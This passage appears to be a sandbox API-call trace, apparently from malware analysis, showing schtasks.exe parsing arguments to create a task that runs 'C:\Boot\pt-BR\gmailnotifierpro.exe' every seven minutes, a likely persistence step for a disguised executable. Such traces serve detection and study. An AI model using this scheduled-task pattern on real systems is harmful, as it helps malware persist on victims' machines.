lstrlenW (lpString="MINUTE") returned 6 [0109.845] lstrlenW (lpString="MINUTE") returned 6 [0109.845] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.845] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.845] lstrlenW (lpString="/mo") returned 3 [0109.845] lstrlenW (lpString="-/") returned 2 [0109.845] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.845] lstrlenW (lpString="create") returned 6 [0109.845] lstrlenW (lpString="create") returned 6 [0109.845] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.845] lstrlenW (lpString="mo") returned 2 [0109.845] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.845] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|create|") returned 8 [0109.845] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.846] lstrlenW (lpString="|create|") returned 8 [0109.846] lstrlenW (lpString="|mo|") returned 4 [0109.846] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0109.846] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.846] lstrlenW (lpString="?") returned 1 [0109.846] lstrlenW (lpString="?") returned 1 [0109.846] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.846] lstrlenW (lpString="mo") returned 2 [0109.846] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.846] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|?|") returned 3 [0109.846] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.846] lstrlenW (lpString="|?|") returned 3 [0109.846] lstrlenW (lpString="|mo|") returned 4 [0109.846] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.846] lstrlenW (lpString="s") returned 1 [0109.846] lstrlenW (lpString="s") returned 1 [0109.846] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.846] lstrlenW (lpString="mo") returned 2 [0109.846] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.846] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|s|") returned 3 [0109.846] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.846] lstrlenW (lpString="|s|") returned 3 [0109.846] lstrlenW (lpString="|mo|") returned 4 [0109.846] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.846] lstrlenW (lpString="u") returned 1 [0109.846] lstrlenW (lpString="u") returned 1 [0109.846] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.846] lstrlenW (lpString="mo") returned 2 [0109.846] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.846] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|u|") returned 3 [0109.846] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.846] lstrlenW (lpString="|u|") returned 3 [0109.847] lstrlenW (lpString="|mo|") returned 4 [0109.847] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.847] lstrlenW (lpString="p") returned 1 [0109.847] lstrlenW (lpString="p") returned 1 [0109.847] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.847] lstrlenW (lpString="mo") returned 2 [0109.847] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.847] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|p|") returned 3 [0109.847] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.847] lstrlenW (lpString="|p|") returned 3 [0109.847] lstrlenW (lpString="|mo|") returned 4 [0109.847] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.847] lstrlenW (lpString="ru") returned 2 [0109.847] lstrlenW (lpString="ru") returned 2 [0109.847] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.847] lstrlenW (lpString="mo") returned 2 [0109.847] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.847] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ru|") returned 4 [0109.847] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.847] lstrlenW (lpString="|ru|") returned 4 [0109.847] lstrlenW (lpString="|mo|") returned 4 [0109.847] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0109.847] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.847] lstrlenW (lpString="rp") returned 2 [0109.847] lstrlenW (lpString="rp") returned 2 [0109.847] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.847] lstrlenW (lpString="mo") returned 2 [0109.847] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.847] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rp|") returned 4 [0109.847] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.847] lstrlenW (lpString="|rp|") returned 4 [0109.848] lstrlenW (lpString="|mo|") returned 4 [0109.848] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0109.848] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.848] lstrlenW (lpString="sc") returned 2 [0109.848] lstrlenW (lpString="sc") returned 2 [0109.848] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.848] lstrlenW (lpString="mo") returned 2 [0109.848] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.848] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.848] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.848] lstrlenW (lpString="|sc|") returned 4 [0109.848] lstrlenW (lpString="|mo|") returned 4 [0109.848] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0109.848] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.848] lstrlenW (lpString="mo") returned 2 [0109.848] lstrlenW (lpString="mo") returned 2 [0109.848] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.848] lstrlenW (lpString="mo") returned 2 [0109.848] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.848] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.848] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.848] lstrlenW (lpString="|mo|") returned 4 [0109.848] lstrlenW (lpString="|mo|") returned 4 [0109.848] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0109.848] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.848] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.849] lstrlenW (lpString="7") returned 1 [0109.849] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.849] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.849] lstrlenW (lpString="7") returned 1 [0109.849] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0109.849] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.849] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.849] _memicmp (_Buf1=0x1ed3df5abf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.849] lstrlenW (lpString="7") returned 1 [0109.849] lstrlenW (lpString="7") returned 1 [0109.849] lstrlenW (lpString=" \x09") returned 2 [0109.849] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0109.849] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0109.849] GetLastError () returned 0x0 [0109.849] lstrlenW (lpString="7") returned 1 [0109.849] lstrlenW (lpString="7") returned 1 [0109.849] GetProcessHeap () returned 0x1ed3df50000 [0109.849] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x4) returned 0x1ed3df54ea0 [0109.849] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.849] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.849] lstrlenW (lpString="/tr") returned 3 [0109.849] lstrlenW (lpString="-/") returned 2 [0109.849] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.849] lstrlenW (lpString="create") returned 6 [0109.849] lstrlenW (lpString="create") returned 6 [0109.849] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.849] lstrlenW (lpString="tr") returned 2 [0109.849] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.849] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|create|") returned 8 [0109.849] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.849] lstrlenW (lpString="|create|") returned 8 [0109.849] lstrlenW (lpString="|tr|") returned 4 [0109.849] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0109.849] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.849] lstrlenW (lpString="?") returned 1 [0109.849] lstrlenW (lpString="?") returned 1 [0109.850] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.850] lstrlenW (lpString="tr") returned 2 [0109.850] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.850] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|?|") returned 3 [0109.850] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.850] lstrlenW (lpString="|?|") returned 3 [0109.850] lstrlenW (lpString="|tr|") returned 4 [0109.850] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.850] lstrlenW (lpString="s") returned 1 [0109.850] lstrlenW (lpString="s") returned 1 [0109.850] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.850] lstrlenW (lpString="tr") returned 2 [0109.850] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.850] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|s|") returned 3 [0109.850] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.850] lstrlenW (lpString="|s|") returned 3 [0109.850] lstrlenW (lpString="|tr|") returned 4 [0109.850] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.850] lstrlenW (lpString="u") returned 1 [0109.850] lstrlenW (lpString="u") returned 1 [0109.850] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.850] lstrlenW (lpString="tr") returned 2 [0109.850] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.850] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|u|") returned 3 [0109.850] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.850] lstrlenW (lpString="|u|") returned 3 [0109.850] lstrlenW (lpString="|tr|") returned 4 [0109.850] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.850] lstrlenW (lpString="p") returned 1 [0109.850] lstrlenW (lpString="p") returned 1 [0109.850] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.850] lstrlenW (lpString="tr") returned 2 [0109.851] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.851] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|p|") returned 3 [0109.851] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.851] lstrlenW (lpString="|p|") returned 3 [0109.851] lstrlenW (lpString="|tr|") returned 4 [0109.851] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.851] lstrlenW (lpString="ru") returned 2 [0109.851] lstrlenW (lpString="ru") returned 2 [0109.851] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.851] lstrlenW (lpString="tr") returned 2 [0109.851] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.851] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ru|") returned 4 [0109.851] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.851] lstrlenW (lpString="|ru|") returned 4 [0109.851] lstrlenW (lpString="|tr|") returned 4 [0109.851] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0109.851] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.851] lstrlenW (lpString="rp") returned 2 [0109.851] lstrlenW (lpString="rp") returned 2 [0109.851] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.851] lstrlenW (lpString="tr") returned 2 [0109.851] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.851] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rp|") returned 4 [0109.851] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.851] lstrlenW (lpString="|rp|") returned 4 [0109.851] lstrlenW (lpString="|tr|") returned 4 [0109.851] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0109.851] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.851] lstrlenW (lpString="sc") returned 2 [0109.851] lstrlenW (lpString="sc") returned 2 [0109.851] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.851] lstrlenW (lpString="tr") returned 2 [0109.852] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.852] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.852] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.852] lstrlenW (lpString="|sc|") returned 4 [0109.852] lstrlenW (lpString="|tr|") returned 4 [0109.852] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0109.852] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.852] lstrlenW (lpString="mo") returned 2 [0109.852] lstrlenW (lpString="mo") returned 2 [0109.852] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.852] lstrlenW (lpString="tr") returned 2 [0109.852] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.852] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.852] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.852] lstrlenW (lpString="|mo|") returned 4 [0109.852] lstrlenW (lpString="|tr|") returned 4 [0109.852] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0109.852] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.852] lstrlenW (lpString="d") returned 1 [0109.852] lstrlenW (lpString="d") returned 1 [0109.852] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.852] lstrlenW (lpString="tr") returned 2 [0109.852] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.852] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|d|") returned 3 [0109.852] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.852] lstrlenW (lpString="|d|") returned 3 [0109.852] lstrlenW (lpString="|tr|") returned 4 [0109.852] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.853] lstrlenW (lpString="m") returned 1 [0109.853] lstrlenW (lpString="m") returned 1 [0109.853] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.853] lstrlenW (lpString="tr") returned 2 [0109.853] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.853] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|m|") returned 3 [0109.853] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.853] lstrlenW (lpString="|m|") returned 3 [0109.853] lstrlenW (lpString="|tr|") returned 4 [0109.853] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.853] lstrlenW (lpString="i") returned 1 [0109.853] lstrlenW (lpString="i") returned 1 [0109.853] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.853] lstrlenW (lpString="tr") returned 2 [0109.853] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.853] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|i|") returned 3 [0109.853] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.853] lstrlenW (lpString="|i|") returned 3 [0109.853] lstrlenW (lpString="|tr|") returned 4 [0109.853] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.853] lstrlenW (lpString="tn") returned 2 [0109.853] lstrlenW (lpString="tn") returned 2 [0109.853] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.853] lstrlenW (lpString="tr") returned 2 [0109.853] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.853] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.854] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.854] lstrlenW (lpString="|tn|") returned 4 [0109.854] lstrlenW (lpString="|tr|") returned 4 [0109.854] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0109.854] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.854] lstrlenW (lpString="tr") returned 2 [0109.854] lstrlenW (lpString="tr") returned 2 [0109.854] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.854] lstrlenW (lpString="tr") returned 2 [0109.854] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.854] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.854] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.854] lstrlenW (lpString="|tr|") returned 4 [0109.854] lstrlenW (lpString="|tr|") returned 4 [0109.854] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0109.854] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.854] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.854] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.854] lstrlenW (lpString="-/") returned 2 [0109.854] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0109.854] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.854] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.854] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.854] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.854] StrChrIW (lpStart="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'", wMatch=0x3a) returned=":\\Boot\\pt-BR\\gmailnotifierpro.exe'" [0109.854] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.854] _memicmp (_Buf1=0x1ed3df54340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.854] _memicmp (_Buf1=0x1ed3df5a9f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.855] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.855] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.855] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.855] lstrlenW (lpString="'C") returned 2 [0109.855] lstrlenW (lpString="-/") returned 2 [0109.855] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0109.855] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.855] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.855] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.855] _memicmp (_Buf1=0x1ed3df5abf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.855] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.855] GetProcessHeap () returned 0x1ed3df50000 [0109.855] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5a970) returned 1 [0109.855] GetProcessHeap () returned 0x1ed3df50000 [0109.855] RtlReAllocateHeap (Heap=0x1ed3df50000, Flags=0xc, Ptr=0x1ed3df5a970, Size=0x4a) returned 0x1ed3df542e0 [0109.855] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.855] lstrlenW (lpString=" \x09") returned 2 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0109.855] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0109.856] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0109.856] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0109.856] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0109.856] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0109.858] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0109.858] GetLastError () returned 0x0 [0109.858] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.858] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.858] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.859] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.859] lstrlenW (lpString="/rl") returned 3 [0109.859] lstrlenW (lpString="-/") returned 2 [0109.859] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.859] lstrlenW (lpString="create") returned 6 [0109.859] lstrlenW (lpString="create") returned 6 [0109.859] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.859] lstrlenW (lpString="rl") returned 2 [0109.859] _memicmp (_Buf1=0x1ed3df53f40, 